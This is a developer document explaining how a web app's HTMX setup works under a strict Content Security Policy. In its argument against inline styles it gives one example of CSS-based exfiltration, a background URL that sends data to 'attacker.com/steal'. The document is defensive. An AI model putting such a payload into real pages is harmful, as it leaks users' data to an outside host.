Files
member-console/docs/htmx-setup.md

4.9 KiB

HTMX Setup

This document describes how the member-console uses HTMX and how its configuration interacts with the Content Security Policy (CSP).

Overview

The member-console uses HTMX for dynamic UI updates without full page reloads. All interactive sections (operator tabs, site management, workspace switching) use the HTMX partial pattern: the server renders HTML fragments that HTMX swaps into the DOM.

Version

HTMX is vendored as a static asset at internal/embeds/static/htmx.min.js (currently v2.0.4).

Loading

HTMX is loaded via a <script defer> tag in both page templates (index.html and operator.html). The defer attribute ensures it loads after the DOM is parsed.

CSP Configuration

The CSP is defined in internal/middleware/security.go and is intentionally strict to protect against XSS. The app handles OIDC authentication, member billing, entitlements, and operator-level admin — all high-value targets for injection attacks.

Relevant CSP Directives

script-src 'self' https://unpkg.com/htmx.org@*
style-src  'self'
  • script-src: Allows scripts from our own origin and HTMX from unpkg (fallback). Since HTMX is vendored locally, the unpkg allowance is defensive.
  • style-src: Only allows styles from external .css files served by our origin. Inline <style> tags and element.style.* assignments are blocked.

Why No 'unsafe-inline'

Adding 'unsafe-inline' to script-src would defeat most XSS protection. For style-src, it's less dangerous but still enables CSS-based data exfiltration attacks. We avoid both to maintain defense-in-depth.

HTMX + CSP Interaction

HTMX has two behaviors that conflict with a strict style-src 'self' policy:

1. Indicator Styles (Solved)

By default, HTMX injects an inline <style> tag at load time to define .htmx-indicator CSS rules. This violates style-src 'self'.

Solution: We disable this behavior via a <meta> tag in both page templates:

<meta name="htmx-config" content='{"includeIndicatorStyles": false}'>

The equivalent indicator styles are provided in internal/embeds/static/app.css:

.htmx-indicator { display: none; }
.htmx-request .htmx-indicator { display: inline-block; }
.htmx-request.htmx-indicator { display: inline-block; }

This gives us full control over indicator styling without any CSP violation.

2. Swap Transition Styles (Accepted)

During content swaps, HTMX may call element.style.height = "..." or element.style.transition = "..." to animate the swap. These are inline style assignments that CSP blocks.

Impact: None functional. The partial HTML is swapped correctly — the only effect is that swap animations are skipped (content appears instantly rather than transitioning smoothly). This is an acceptable trade-off for the security benefit.

Why not allowlist the hash? The hash approach (style-src 'self' 'sha256-...') works for static strings like the indicator <style> tag, but swap transitions generate dynamic style values (e.g., height: 47px) that vary per element. You would need to allowlist every possible hash, which is impractical and fragile across HTMX version upgrades.

Why not 'unsafe-inline' for styles only? While less risky than 'unsafe-inline' on script-src, it still enables CSS-based exfiltration (e.g., background: url(attacker.com/steal?data=...)). The visual trade-off (no smooth transitions) is minor compared to the security benefit.

External JavaScript

All JavaScript must be in external .js files under internal/embeds/static/ to comply with CSP. Never add inline <script> tags to templates — they will be silently blocked.

Current external scripts:

  • error-handler.js — HTMX error handling and toast notifications
  • grant-toggle.js — Grant creation form radio toggle (Product vs Entitlement Set path), with htmx:afterSettle listener for re-initialization after HTMX swaps

When adding new interactive behavior to HTMX partials, follow this pattern:

  1. Create a new .js file in internal/embeds/static/
  2. Add a <script defer> tag to the relevant page template
  3. If the script manipulates elements inside HTMX partials, listen for htmx:afterSettle to re-initialize after swaps

Static Asset Authentication

Static assets under /static/ are exempted from authentication middleware (internal/auth/auth.go). This is necessary because:

  • Static assets are public resources (CSS, JS, images, icons)
  • Some browser fetches (e.g., <link rel="manifest">) use CORS mode with credentials: 'omit', meaning session cookies are not sent
  • Without the exemption, unauthenticated static requests would be redirected to the OIDC login flow

External CSS

All custom styles are in internal/embeds/static/app.css. This file consolidates styles that were previously inline <style> blocks in the page templates. When adding new styles, add them to this file rather than creating inline styles.